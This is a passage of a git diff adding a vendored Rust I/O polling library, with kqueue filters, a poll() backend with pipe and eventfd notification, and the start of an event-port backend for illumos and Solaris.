modify_filter(&self, filter: F, key: usize, mode: PollMode) -> io::Result<()> { + self.poller.has_source(filter.source_id())?; + + // Convert the filter into a kevent. + let event = filter.filter(kqueue::EventFlags::ADD | mode_to_flags(mode), key); + + // Modify the filter. + self.poller.submit_changes([event]) + } + + fn delete_filter(&self, filter: F) -> io::Result<()> { + // Convert the filter into a kevent. + let event = filter.filter(kqueue::EventFlags::DELETE, 0); + + // Delete the filter. + self.poller.submit_changes([event])?; + + self.poller.remove_source(filter.source_id()) + } +} + +/// A filter that can be registered into a `kqueue`. +pub trait Filter: FilterSealed {} + +unsafe impl FilterSealed for &T { + #[inline(always)] + fn filter(&self, flags: kqueue::EventFlags, key: usize) -> kqueue::Event { + (**self).filter(flags, key) + } + + #[inline(always)] + fn source_id(&self) -> SourceId { + (**self).source_id() + } +} + +impl Filter for &T {} + +/// Monitor this signal number. +/// +/// No matter what `PollMode` is specified, this filter will always be +/// oneshot-only. +#[derive(Debug, Copy, Clone, PartialEq, Eq, PartialOrd, Ord, Hash)] +pub struct Signal(pub std::os::raw::c_int); + +unsafe impl FilterSealed for Signal { + #[inline(always)] + fn filter(&self, flags: kqueue::EventFlags, key: usize) -> kqueue::Event { + kqueue::Event::new( + kqueue::EventFilter::Signal { + signal: rustix::process::Signal::from_named_raw(self.0) + .expect("invalid signal number"), + times: 0, + }, + flags | kqueue::EventFlags::RECEIPT, + key as _, + ) + } + + #[inline(always)] + fn source_id(&self) -> SourceId { + SourceId::Signal(self.0) + } +} + +impl Filter for Signal {} + +/// Monitor a child process. +#[derive(Debug)] +pub struct Process<'a> { + /// The process ID to monitor. + pid: rustix::process::Pid, + + /// The operation to monitor. + ops: ProcessOps, + + /// Lifetime of the underlying process. + _lt: PhantomData<&'a Child>, +} + +/// The operations that a monitored process can perform. +#[derive(Debug, Copy, Clone, PartialEq, Eq, PartialOrd, Ord, Hash)] +#[non_exhaustive] +pub enum ProcessOps { + /// The process exited. + Exit, + + /// The process was forked. + Fork, + + /// The process executed a new process. + Exec, +} + +impl<'a> Process<'a> { + /// Monitor a child process. + /// + /// # Safety + /// + /// Once registered into the `Poller`, the `Child` object must outlive this filter's + /// registration into the poller. + pub unsafe fn new(child: &'a Child, ops: ProcessOps) -> Self { + Self { + pid: rustix::process::Pid::from_child(child), + ops, + _lt: PhantomData, + } + } + + /// Create a `Process` from a PID. + /// + /// # Safety + /// + /// The PID must be tied to an actual child process. + pub unsafe fn from_pid(pid: std::num::NonZeroI32, ops: ProcessOps) -> Self { + Self { + pid: unsafe { rustix::process::Pid::from_raw_unchecked(pid.get()) }, + ops, + _lt: PhantomData, + } + } +} + +unsafe impl FilterSealed for Process<'_> { + #[inline(always)] + fn filter(&self, flags: kqueue::EventFlags, key: usize) -> kqueue::Event { + let events = match self.ops { + ProcessOps::Exit => kqueue::ProcessEvents::EXIT, + ProcessOps::Fork => kqueue::ProcessEvents::FORK, + ProcessOps::Exec => kqueue::ProcessEvents::EXEC, + }; + + kqueue::Event::new( + kqueue::EventFilter::Proc { + // SAFETY: We know that the PID is nonzero. + pid: self.pid, + flags: events, + }, + flags | kqueue::EventFlags::RECEIPT, + key as _, + ) + } + + #[inline(always)] + fn source_id(&self) -> SourceId { + // SAFETY: We know that the PID is nonzero + SourceId::Pid(self.pid) + } +} + +impl Filter for Process<'_> {} + +/// Wait for a timeout to expire. +/// +/// Modifying the timeout after it has been added to the poller will reset it. +#[derive(Debug, Copy, Clone, PartialEq, Eq, PartialOrd, Ord, Hash)] +pub struct Timer { + /// Identifier for the timer. + pub id: usize, + + /// The timeout to wait for. + pub timeout: Duration, +} + +unsafe impl FilterSealed for Timer { + fn filter(&self, flags: kqueue::EventFlags, key: usize) -> kqueue::Event { + kqueue::Event::new( + kqueue::EventFilter::Timer { + ident: self.id as _, + timer: Some(self.timeout), + }, + flags | kqueue::EventFlags::RECEIPT, + key as _, + ) + } + + #[inline(always)] + fn source_id(&self) -> SourceId { + SourceId::Timer(self.id) + } +} + +impl Filter for Timer {} + +mod __private { + use crate::sys::SourceId; + use rustix::event::kqueue; + + #[doc(hidden)] + pub unsafe trait FilterSealed { + /// Get the filter for the given event. + /// + /// This filter's flags must have `EV_RECEIPT`. + fn filter(&self, flags: kqueue::EventFlags, key: usize) -> kqueue::Event; + + /// Get the source ID for this source. + fn source_id(&self) -> SourceId; + } +} diff --git a/lib/malio/polling/src/poll.rs b/lib/malio/polling/src/poll.rs new file mode 100644 index 0000000..1ba382a --- /dev/null +++ b/lib/malio/polling/src/poll.rs @@ -0,0 +1,857 @@ +//! Bindings to poll (VxWorks, Fuchsia, other Unix systems). + +use std::collections::HashMap; +use std::io; +use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering}; +use std::sync::{Condvar, Mutex}; +use std::time::Instant; + +#[cfg(not(target_os = "hermit"))] +use rustix::fd::{AsFd, AsRawFd, BorrowedFd}; +#[cfg(target_os = "hermit")] +use std::os::hermit::io::{AsFd, AsRawFd, BorrowedFd}; + +use syscall::{poll, PollFd, PollFlags}; + +// std::os::unix doesn't exist on Fuchsia +type RawFd = std::os::raw::c_int; + +use crate::{Event, PollMode}; + +/// Interface to poll. +#[derive(Debug)] +pub struct Poller { + /// File descriptors to poll. + fds: Mutex, + /// Notification pipe for waking up the poller. + /// + /// On all platforms except ESP IDF, the `pipe` syscall is used. + /// On ESP IDF, the `eventfd` syscall is used instead. + notify: notify::Notify, + /// The number of operations (`add`, `modify` or `delete`) that are currently waiting on the + /// mutex to become free. When this is nonzero, `wait` must be suspended until it reaches zero + /// again. + waiting_operations: AtomicUsize, + /// Whether `wait` has been notified by the user. + notified: AtomicBool, + /// The condition variable that gets notified when `waiting_operations` reaches zero or + /// `notified` becomes true. + /// + /// This is used with the `fds` mutex. + operations_complete: Condvar, +} + +/// The file descriptors to poll in a `Poller`. +#[derive(Debug)] +struct Fds { + /// The list of `pollfds` taken by poll. + /// + /// The first file descriptor is always present and is used to notify the poller. It is also + /// stored in `notify_read`. + poll_fds: Vec>, + /// The map of each file descriptor to data associated with it. This does not include the file + /// descriptors `notify_read` or `notify_write`. + fd_data: HashMap, +} + +/// Data associated with a file descriptor in a poller. +#[derive(Debug)] +struct FdData { + /// The index into `poll_fds` this file descriptor is. + poll_fds_index: usize, + /// The key of the `Event` associated with this file descriptor. + key: usize, + /// Whether to remove this file descriptor from the poller on the next call to `wait`. + remove: bool, +} + +impl Poller { + /// Creates a new poller. + pub fn new() -> io::Result { + let notify = notify::Notify::new()?; + + #[cfg(feature = "tracing")] + tracing::trace!(?notify, "new"); + + Ok(Self { + fds: Mutex::new(Fds { + poll_fds: vec![PollFd::from_borrowed_fd( + // SAFETY: `notify.fd()` will remain valid until we drop `self`. + unsafe { BorrowedFd::borrow_raw(notify.fd().as_raw_fd()) }, + notify.poll_flags(), + )], + fd_data: HashMap::new(), + }), + notify, + waiting_operations: AtomicUsize::new(0), + operations_complete: Condvar::new(), + notified: AtomicBool::new(false), + }) + } + + /// Whether this poller supports level-triggered events. + pub fn supports_level(&self) -> bool { + true + } + + /// Whether the poller supports edge-triggered events. + pub fn supports_edge(&self) -> bool { + false + } + + /// Adds a new file descriptor. + pub fn add(&self, fd: RawFd, ev: Event, mode: PollMode) -> io::Result<()> { + if self.notify.has_fd(fd) { + return Err(io::Error::from(io::ErrorKind::InvalidInput)); + } + + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "add", + notify_read = ?self.notify.fd().as_raw_fd(), + ?fd, + ?ev, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + self.modify_fds(|fds| { + if fds.fd_data.contains_key(&fd) { + return Err(io::Error::from(io::ErrorKind::AlreadyExists)); + } + + let poll_fds_index = fds.poll_fds.len(); + fds.fd_data.insert( + fd, + FdData { + poll_fds_index, + key: ev.key, + remove: cvt_mode_as_remove(mode)?, + }, + ); + + fds.poll_fds.push(PollFd::from_borrowed_fd( + // SAFETY: Until we have I/O safety, assume that `fd` is valid forever. + unsafe { BorrowedFd::borrow_raw(fd) }, + poll_events(ev), + )); + + Ok(()) + }) + } + + /// Modifies an existing file descriptor. + pub fn modify(&self, fd: BorrowedFd<'_>, ev: Event, mode: PollMode) -> io::Result<()> { + if self.notify.has_fd(fd.as_raw_fd()) { + return Err(io::Error::from(io::ErrorKind::InvalidInput)); + } + + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "modify", + notify_read = ?self.notify.fd().as_raw_fd(), + ?fd, + ?ev, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + self.modify_fds(|fds| { + let data = fds + .fd_data + .get_mut(&fd.as_raw_fd()) + .ok_or(io::ErrorKind::NotFound)?; + data.key = ev.key; + let poll_fds_index = data.poll_fds_index; + + // SAFETY: This is essentially transmuting a `PollFd<'a>` to a `PollFd<'static>`, which + // only works if it's removed in time with `delete()`. + fds.poll_fds[poll_fds_index] = PollFd::from_borrowed_fd( + unsafe { BorrowedFd::borrow_raw(fd.as_raw_fd()) }, + poll_events(ev), + ); + data.remove = cvt_mode_as_remove(mode)?; + + Ok(()) + }) + } + + /// Deletes a file descriptor. + pub fn delete(&self, fd: BorrowedFd<'_>) -> io::Result<()> { + if self.notify.has_fd(fd.as_raw_fd()) { + return Err(io::Error::from(io::ErrorKind::InvalidInput)); + } + + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "delete", + notify_read = ?self.notify.fd().as_raw_fd(), + ?fd, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + self.modify_fds(|fds| { + let data = fds + .fd_data + .remove(&fd.as_raw_fd()) + .ok_or(io::ErrorKind::NotFound)?; + fds.poll_fds.swap_remove(data.poll_fds_index); + if let Some(swapped_pollfd) = fds.poll_fds.get(data.poll_fds_index) { + fds.fd_data + .get_mut(&swapped_pollfd.as_fd().as_raw_fd()) + .unwrap() + .poll_fds_index = data.poll_fds_index; + } + + Ok(()) + }) + } + + /// Waits for I/O events with an optional deadline. + pub fn wait_deadline(&self, events: &mut Events, deadline: Option) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "wait", + notify_read = ?self.notify.fd().as_raw_fd(), + ?deadline, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let mut fds = self.fds.lock().unwrap(); + + loop { + // Complete all current operations. + loop { + if self.notified.swap(false, Ordering::SeqCst) { + // `notify` will have sent a notification in case we were polling. We weren't, + // so remove it. + return self.notify.pop_notification(); + } else if self.waiting_operations.load(Ordering::SeqCst) == 0 { + break; + } + + fds = self.operations_complete.wait(fds).unwrap(); + } + + let timeout = + deadline.map(|deadline| deadline.saturating_duration_since(Instant::now())); + + // Perform the poll. + let num_events = poll(&mut fds.poll_fds, timeout)?; + let notified = !fds.poll_fds[0].revents().is_empty(); + let num_fd_events = if notified { num_events - 1 } else { num_events }; + #[cfg(feature = "tracing")] + tracing::trace!(?num_events, ?notified, ?num_fd_events, "new events",); + + // Read all notifications. + if notified { + self.notify.pop_all_notifications()?; + } + + // If the only event that occurred during polling was notification and it wasn't to + // exit, another thread is trying to perform an operation on the fds. Continue the + // loop. + if !self.notified.swap(false, Ordering::SeqCst) && num_fd_events == 0 && notified { + continue; + } + + // Store the events if there were any. + if num_fd_events > 0 { + let fds = &mut *fds; + + events.inner.reserve(num_fd_events); + for fd_data in fds.fd_data.values_mut() { + let poll_fd = &mut fds.poll_fds[fd_data.poll_fds_index]; + if !poll_fd.revents().is_empty() { + // Store event + let revents = poll_fd.revents(); + events.inner.push(Event { + key: fd_data.key, + readable: revents.intersects(read_events()), + writable: revents.intersects(write_events()), + extra: EventExtra { flags: revents }, + }); + // Remove interest if necessary + if fd_data.remove { + *poll_fd = PollFd::from_borrowed_fd( + unsafe { BorrowedFd::borrow_raw(poll_fd.as_fd().as_raw_fd()) }, + PollFlags::empty(), + ); + } + + if events.inner.len() == num_fd_events { + break; + } + } + } + } + + break; + } + + Ok(()) + } + + /// Sends a notification to wake up the current or next `wait()` call. + pub fn notify(&self) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "notify", + notify_read = ?self.notify.fd().as_raw_fd(), + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + if !self.notified.swap(true, Ordering::SeqCst) { + self.notify.notify()?; + self.operations_complete.notify_one(); + } + + Ok(()) + } + + /// Perform a modification on `fds`, interrupting the current caller of `wait` if it's running. + fn modify_fds(&self, f: impl FnOnce(&mut Fds) -> io::Result<()>) -> io::Result<()> { + self.waiting_operations.fetch_add(1, Ordering::SeqCst); + + // Wake up the current caller of `wait` if there is one. + let sent_notification = self.notify.notify().is_ok(); + + let mut fds = self.fds.lock().unwrap(); + + // If there was no caller of `wait` our notification was not removed from the pipe. + if sent_notification { + let _ = self.notify.pop_notification(); + } + + let res = f(&mut fds); + + if self.waiting_operations.fetch_sub(1, Ordering::SeqCst) == 1 { + self.operations_complete.notify_one(); + } + + res + } +} + +/// Get the input poll events for the given event. +fn poll_events(ev: Event) -> PollFlags { + (if ev.readable { + PollFlags::IN | PollFlags::PRI + } else { + PollFlags::empty() + }) | (if ev.writable { + PollFlags::OUT | PollFlags::WRBAND + } else { + PollFlags::empty() + }) +} + +/// Returned poll events for reading. +fn read_events() -> PollFlags { + PollFlags::IN | PollFlags::PRI | PollFlags::HUP | PollFlags::ERR +} + +/// Returned poll events for writing. +fn write_events() -> PollFlags { + PollFlags::OUT | PollFlags::WRBAND | PollFlags::HUP | PollFlags::ERR +} + +/// A list of reported I/O events. +pub struct Events { + inner: Vec, +} + +impl Events { + /// Creates an empty list. + pub fn with_capacity(cap: usize) -> Events { + Self { + inner: Vec::with_capacity(cap), + } + } + + /// Iterates over I/O events. + pub fn iter(&self) -> impl Iterator + '_ { + self.inner.iter().copied() + } + + /// Clear the list. + pub fn clear(&mut self) { + self.inner.clear(); + } + + /// Get the capacity of the list. + pub fn capacity(&self) -> usize { + self.inner.capacity() + } +} + +/// Extra information associated with an event. +#[derive(Debug, Copy, Clone, PartialEq, Eq)] +pub struct EventExtra { + /// Flags associated with this event. + flags: PollFlags, +} + +impl EventExtra { + /// Creates an empty set of extra information. + #[inline] + pub const fn empty() -> Self { + Self { + flags: PollFlags::empty(), + } + } + + /// Set the interrupt flag. + #[inline] + pub fn set_hup(&mut self, value: bool) { + self.flags.set(PollFlags::HUP, value); + } + + /// Set the priority flag. + #[inline] + pub fn set_pri(&mut self, value: bool) { + self.flags.set(PollFlags::PRI, value); + } + + /// Is this an interrupt event? + #[inline] + pub fn is_hup(&self) -> bool { + self.flags.contains(PollFlags::HUP) + } + + /// Is this a priority event? + #[inline] + pub fn is_pri(&self) -> bool { + self.flags.contains(PollFlags::PRI) + } + + #[inline] + pub fn is_connect_failed(&self) -> Option { + Some(self.flags.contains(PollFlags::ERR) || self.flags.contains(PollFlags::HUP)) + } + + #[inline] + pub fn is_err(&self) -> Option { + Some(self.flags.contains(PollFlags::ERR)) + } +} + +fn cvt_mode_as_remove(mode: PollMode) -> io::Result { + match mode { + PollMode::Oneshot => Ok(true), + PollMode::Level => Ok(false), + _ => Err(crate::unsupported_error( + "edge-triggered I/O events are not supported in poll()", + )), + } +} + +#[cfg(unix)] +mod syscall { + pub(super) use rustix::event::{PollFd, PollFlags}; + + pub(super) use rustix::event::Timespec; + #[cfg(target_os = "espidf")] + pub(super) use rustix::event::{eventfd, EventfdFlags}; + #[cfg(target_os = "espidf")] + pub(super) use rustix::fd::{AsFd, AsRawFd, BorrowedFd, OwnedFd, RawFd}; + #[cfg(target_os = "espidf")] + pub(super) use rustix::io::{read, write}; + use std::io; + use std::time::Duration; + + /// Safe wrapper around the `poll` system call. + pub(super) fn poll(fds: &mut [PollFd<'_>], timeout: Option) -> io::Result { + // Timeout for `poll`. In case of overflow, use no timeout. + let timeout = match timeout { + Some(timeout) => Timespec::try_from(timeout).ok(), + None => None, + }; + + Ok(rustix::event::poll(fds, timeout.as_ref())?) + } +} + +#[cfg(target_os = "hermit")] +mod syscall { + // TODO: Remove this shim once HermitOS is supported in Rustix. + + use std::fmt; + use std::io; + use std::marker::PhantomData; + use std::ops::BitOr; + use std::time::Duration; + + pub(super) use std::os::hermit::io::{AsFd, AsRawFd, BorrowedFd, FromRawFd, OwnedFd, RawFd}; + + /// Create an eventfd. + pub(super) fn eventfd(count: u64, _flags: EventfdFlags) -> io::Result { + let fd = unsafe { hermit_abi::eventfd(count, 0) }; + + if fd < 0 { + Err(io::Error::from_raw_os_error(unsafe { + hermit_abi::get_errno() + })) + } else { + Ok(unsafe { OwnedFd::from_raw_fd(fd) }) + } + } + + /// Read some bytes. + pub(super) fn read(fd: BorrowedFd<'_>, bytes: &mut [u8]) -> io::Result { + let count = unsafe { hermit_abi::read(fd.as_raw_fd(), bytes.as_mut_ptr(), bytes.len()) }; + + cvt(count) + } + + /// Write some bytes. + pub(super) fn write(fd: BorrowedFd<'_>, bytes: &[u8]) -> io::Result { + let count = unsafe { hermit_abi::write(fd.as_raw_fd(), bytes.as_ptr(), bytes.len()) }; + + cvt(count) + } + + /// Safe wrapper around the `poll` system call. + pub(super) fn poll(fds: &mut [PollFd<'_>], timeout: Option) -> io::Result { + // Timeout in milliseconds for epoll. In case of overflow, use no timeout. + let mut timeout_ms = -1; + if let Some(t) = timeout { + if let Ok(ms) = i32::try_from(t.as_millis()) { + // Round up to a whole millisecond. + if Duration::from_millis(ms as u64) < t { + if let Some(ms) = ms.checked_add(1) { + timeout_ms = ms; + } + } else { + timeout_ms = ms; + } + } + } + + let call = unsafe { + hermit_abi::poll( + fds.as_mut_ptr() as *mut hermit_abi::pollfd, + fds.len(), + timeout_ms, + ) + }; + + cvt(call as isize) + } + + /// Safe wrapper around `pollfd`. + #[repr(transparent)] + pub(super) struct PollFd<'a> { + inner: hermit_abi::pollfd, + _lt: PhantomData>, + } + + impl<'a> PollFd<'a> { + pub(super) fn from_borrowed_fd(fd: BorrowedFd<'a>, inflags: PollFlags) -> Self { + Self { + inner: hermit_abi::pollfd { + fd: fd.as_raw_fd(), + events: inflags.0, + revents: 0, + }, + _lt: PhantomData, + } + } + + pub(super) fn revents(&self) -> PollFlags { + PollFlags(self.inner.revents) + } + } + + impl AsFd for PollFd<'_> { + fn as_fd(&self) -> BorrowedFd<'_> { + unsafe { BorrowedFd::borrow_raw(self.inner.fd) } + } + } + + impl fmt::Debug for PollFd<'_> { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.debug_struct("PollFd") + .field("fd", &format_args!("0x{:x}", self.inner.fd)) + .field("events", &PollFlags(self.inner.events)) + .field("revents", &PollFlags(self.inner.revents)) + .finish() + } + } + + /// Wrapper around polling flags. + #[derive(Debug, Copy, Clone, PartialEq, Eq)] + pub(super) struct PollFlags(i16); + + impl PollFlags { + /// Empty set of flags. + pub(super) const fn empty() -> Self { + Self(0) + } + + pub(super) const IN: PollFlags = PollFlags(hermit_abi::POLLIN); + pub(super) const OUT: PollFlags = PollFlags(hermit_abi::POLLOUT); + pub(super) const WRBAND: PollFlags = PollFlags(hermit_abi::POLLWRBAND); + pub(super) const ERR: PollFlags = PollFlags(hermit_abi::POLLERR); + pub(super) const HUP: PollFlags = PollFlags(hermit_abi::POLLHUP); + pub(super) const PRI: PollFlags = PollFlags(hermit_abi::POLLPRI); + + /// Tell if this contains some flags. + pub(super) fn contains(self, flags: PollFlags) -> bool { + self.0 & flags.0 != 0 + } + + /// Set a flag. + pub(super) fn set(&mut self, flags: PollFlags, set: bool) { + if set { + self.0 |= flags.0; + } else { + self.0 &= !(flags.0); + } + } + + /// Tell if this is empty. + pub(super) fn is_empty(self) -> bool { + self.0 == 0 + } + + /// Tell if this intersects with some flags. + pub(super) fn intersects(self, flags: PollFlags) -> bool { + self.contains(flags) + } + } + + impl BitOr for PollFlags { + type Output = PollFlags; + + fn bitor(self, rhs: Self) -> Self::Output { + Self(self.0 | rhs.0) + } + } + + #[derive(Debug, Copy, Clone)] + pub(super) struct EventfdFlags; + + impl EventfdFlags { + pub(super) fn empty() -> Self { + Self + } + } + + /// Convert a number to an actual result. + #[inline] + fn cvt(len: isize) -> io::Result { + if len < 0 { + Err(io::Error::from_raw_os_error(unsafe { + hermit_abi::get_errno() + })) + } else { + Ok(len as usize) + } + } +} + +#[cfg(not(any(target_os = "espidf", target_os = "hermit")))] +mod notify { + use std::io; + + use rustix::event::PollFlags; + use rustix::fd::{AsFd, AsRawFd, BorrowedFd, OwnedFd, RawFd}; + use rustix::fs::{fcntl_getfl, fcntl_setfl, OFlags}; + use rustix::io::{fcntl_getfd, fcntl_setfd, read, write, FdFlags}; + #[cfg(not(any(target_os = "haiku", target_os = "nto")))] + use rustix::pipe::pipe_with; + use rustix::pipe::{pipe, PipeFlags}; + + /// A notification pipe. + /// + /// This implementation uses a pipe to send notifications. + #[derive(Debug)] + pub(super) struct Notify { + /// The file descriptor of the read half of the notify pipe. This is also stored as the first + /// file descriptor in `fds.poll_fds`. + read_pipe: OwnedFd, + /// The file descriptor of the write half of the notify pipe. + /// + /// Data is written to this to wake up the current instance of `Poller::wait`, which can occur when the + /// user notifies it (in which case `Poller::notified` would have been set) or when an operation needs + /// to occur (in which case `Poller::waiting_operations` would have been incremented). + write_pipe: OwnedFd, + } + + impl Notify { + /// Creates a new notification pipe. + pub(super) fn new() -> io::Result { + let fallback_pipe = |_| { + let (read_pipe, write_pipe) = pipe()?; + fcntl_setfd(&read_pipe, fcntl_getfd(&read_pipe)? | FdFlags::CLOEXEC)?; + fcntl_setfd(&write_pipe, fcntl_getfd(&write_pipe)? | FdFlags::CLOEXEC)?; + io::Result::Ok((read_pipe, write_pipe)) + }; + + #[cfg(not(any(target_os = "haiku", target_os = "nto")))] + let (read_pipe, write_pipe) = pipe_with(PipeFlags::CLOEXEC).or_else(fallback_pipe)?; + + #[cfg(any(target_os = "haiku", target_os = "nto"))] + let (read_pipe, write_pipe) = fallback_pipe(PipeFlags::CLOEXEC)?; + + // Put the reading side into non-blocking mode. + fcntl_setfl(&read_pipe, fcntl_getfl(&read_pipe)? | OFlags::NONBLOCK)?; + + Ok(Self { + read_pipe, + write_pipe, + }) + } + + /// Provides the file handle of the read half of the notify pipe that needs to be registered by the `Poller`. + pub(super) fn fd(&self) -> BorrowedFd<'_> { + self.read_pipe.as_fd() + } + + /// Provides the poll flags to be used when registering the read half of the notify pipe with the `Poller`. + pub(super) fn poll_flags(&self) -> PollFlags { + PollFlags::RDNORM + } + + /// Notifies the `Poller` instance via the write half of the notify pipe. + pub(super) fn notify(&self) -> Result<(), io::Error> { + write(&self.write_pipe, &[0; 1])?; + + Ok(()) + } + + /// Pops a notification (if any) from the pipe. + pub(super) fn pop_notification(&self) -> Result<(), io::Error> { + // Pipes on Vita do not guarantee that after `write` call succeeds, the + // data becomes immediately available for reading on the other side of the pipe. + // To ensure that the notification is not lost, the read side of the pipe is temporarily + // switched to blocking for a single `read` call. + #[cfg(target_os = "vita")] + rustix::fs::fcntl_setfl( + &self.read_pipe, + rustix::fs::fcntl_getfl(&self.read_pipe)? & !rustix::fs::OFlags::NONBLOCK, + )?; + + let result = read(&self.read_pipe, &mut [0; 1]); + + #[cfg(target_os = "vita")] + rustix::fs::fcntl_setfl( + &self.read_pipe, + rustix::fs::fcntl_getfl(&self.read_pipe)? | rustix::fs::OFlags::NONBLOCK, + )?; + + result?; + + Ok(()) + } + + /// Pops all notifications from the pipe. + pub(super) fn pop_all_notifications(&self) -> Result<(), io::Error> { + while read(&self.read_pipe, &mut [0; 64]).is_ok() {} + + Ok(()) + } + + /// Whether this raw file descriptor is associated with this notifier. + pub(super) fn has_fd(&self, fd: RawFd) -> bool { + self.read_pipe.as_raw_fd() == fd || self.write_pipe.as_raw_fd() == fd + } + } +} + +#[cfg(any(target_os = "espidf", target_os = "hermit"))] +mod notify { + use std::io; + use std::mem; + + use super::syscall::{ + eventfd, read, write, AsFd, AsRawFd, BorrowedFd, EventfdFlags, OwnedFd, PollFlags, RawFd, + }; + + /// A notification pipe. + /// + /// This implementation uses the `eventfd` syscall to send notifications. + #[derive(Debug)] + pub(super) struct Notify { + /// The file descriptor of the eventfd object. This is also stored as the first + /// file descriptor in `fds.poll_fds`. + /// + /// Data is written to this to wake up the current instance of `Poller::wait`, which can occur when the + /// user notifies it (in which case `Poller::notified` would have been set) or when an operation needs + /// to occur (in which case `Poller::waiting_operations` would have been incremented). + event_fd: OwnedFd, + } + + impl Notify { + /// Creates a new notification pipe. + pub(super) fn new() -> io::Result { + // Note that the eventfd() implementation in ESP-IDF deviates from the specification in the following ways: + // 1) The file descriptor is always in a non-blocking mode, as if EFD_NONBLOCK was passed as a flag; + // passing EFD_NONBLOCK or calling fcntl(.., F_GETFL/F_SETFL) on the eventfd() file descriptor is not supported + // 2) It always returns the counter value, even if it is 0. This is contrary to the specification which mandates + // that it should instead fail with EAGAIN + // + // (1) is not a problem for us, as we want the eventfd() file descriptor to be in a non-blocking mode anyway + // (2) is also not a problem, as long as we don't try to read the counter value in an endless loop when we detect being notified + + let flags = EventfdFlags::empty(); + let event_fd = eventfd(0, flags).map_err(|err| { + match io::Error::from(err) { + err if err.kind() == io::ErrorKind::PermissionDenied => { + // EPERM can happen if the eventfd isn't initialized yet. + // Tell the user to call esp_vfs_eventfd_register. + io::Error::new( + io::ErrorKind::PermissionDenied, + "failed to initialize eventfd for polling, try calling `esp_vfs_eventfd_register`" + ) + }, + err => err, + } + })?; + + Ok(Self { event_fd }) + } + + /// Provides the eventfd file handle that needs to be registered by the `Poller`. + pub(super) fn fd(&self) -> BorrowedFd<'_> { + self.event_fd.as_fd() + } + + /// Provides the eventfd file handle poll flags to be used when registering it with the `Poller`. + pub(super) fn poll_flags(&self) -> PollFlags { + PollFlags::IN + } + + /// Notifies the `Poller` instance via the eventfd file descriptor. + pub(super) fn notify(&self) -> Result<(), io::Error> { + write(self.event_fd.as_fd(), &1u64.to_ne_bytes())?; + + Ok(()) + } + + /// Pops a notification (if any) from the eventfd file descriptor. + pub(super) fn pop_notification(&self) -> Result<(), io::Error> { + read(self.event_fd.as_fd(), &mut [0; mem::size_of::()])?; + + Ok(()) + } + + /// Pops all notifications from the eventfd file descriptor. + /// Since the eventfd object accumulates all writes in a single 64 bit value, + /// this operation is - in fact - equivalent to `pop_notification`. + pub(super) fn pop_all_notifications(&self) -> Result<(), io::Error> { + let _ = self.pop_notification(); + + Ok(()) + } + + /// Whether this raw file descriptor is associated with this notifier. + pub(super) fn has_fd(&self, fd: RawFd) -> bool { + self.event_fd.as_raw_fd() == fd + } + } +} diff --git a/lib/malio/polling/src/port.rs b/lib/malio/polling/src/port.rs new file mode 100644 index 0000000..8f4f5a0 --- /dev/null +++ b/lib/malio/polling/src/port.rs @@ -0,0 +1,287 @@ +//! Bindings to event port (illumos, Solaris). + +use std::io; +use std::os::unix::io::{AsFd, AsRawFd, BorrowedFd, RawFd}; +use std::time::Instant; + +use rustix::buffer::spare_capacity; +use rustix::event::{port, PollFlags, Timespec}; +use rustix::fd::OwnedFd; +use rustix::io::{fcntl_getfd, fcntl_setfd, FdFlags}; + +use crate::{Event, PollMode}; + +/// Interface to event ports. +#[derive(Debug)] +pub struct Poller { + /// File descriptor for the port instance. + port_fd: OwnedFd, +} + +impl Poller { + /// Creates a new poller. + pub fn new() -> io::Result { + let port_fd = port::create()?; + let flags = fcntl_getfd(&port_fd)?; + fcntl_setfd(&port_fd, flags | FdFlags::CLOEXEC)?; + + #[cfg(feature = "tracing")] + tracing::trace!( + port_fd = ?port_fd.as_raw_fd(), + "new", + ); + + Ok(Poller { port_fd }) + } + + /// Whether this poller supports level-triggered events. + pub fn supports_level(&self) -> bool { + false + } + + /// Whether this poller supports edge-triggered events. + pub fn supports_edge(&self) -> bool { + false + } + + /// Adds a file descriptor. + /// + /// # Safety + /// + /// The `fd` must be a valid file descriptor and it must last until it is deleted. + pub unsafe fn add(&self, fd: RawFd, ev: Event, mode: PollMode) -> io::Result<()> { + // File descriptors don't need to be added explicitly, so just modify the interest. + self.modify(BorrowedFd::borrow_raw(fd), ev, mode) + } + + /// Modifies an existing file descriptor. + pub fn modify(&self, fd: BorrowedFd<'_>, ev: Event, mode: PollMode) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "modify", + port_fd = ?self.port_fd.as_raw_fd(), + ?fd, + ?ev, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let mut flags = PollFlags::empty(); + if ev.readable { + flags |= read_flags(); + } + if ev.writable { + flags |= write_flags(); + } + + if mode != PollMode::Oneshot { + return Err(crate::unsupported_error( + "this kind of event is not supported with event ports", + )); + } + + unsafe { + port::associate_fd(&self.port_fd, fd, flags, ev.key as _)?; + } + + Ok(()) + } + + /// Deletes a file descriptor. + pub fn delete(&self, fd: BorrowedFd<'_>) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "delete", + port_fd = ?self.port_fd.as_raw_fd(), + ?fd, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let result = unsafe { port::dissociate_fd(&self.port_fd, fd) }; + if let Err(e) = result { + match e { + rustix::io::Errno::NOENT => return Ok(()), + _ => return Err(e.into()), + } + } + + Ok(()) + } + + /// Waits for I/O events with an optional deadline. + pub fn wait_deadline(&self, events: &mut Events, deadline: Option) -> io::Result<()> { + #[cfg(feature = "tracing")] + let span = tracing::trace_span!( + "wait", + port_fd = ?self.port_fd.as_raw_fd(), + ?deadline, + ); + #[cfg(feature = "tracing")] + let _enter = span.enter(); + + let timeout = deadline.map(|deadline| deadline.saturating_duration_since(Instant::now())); + + // Timeout for `port::getn`. In case of overflow, use no timeout. + let timeout = match timeout { + Some(t) => Timespec::try_from(t).ok(), + None => None, + }; + + // Wait for I/O 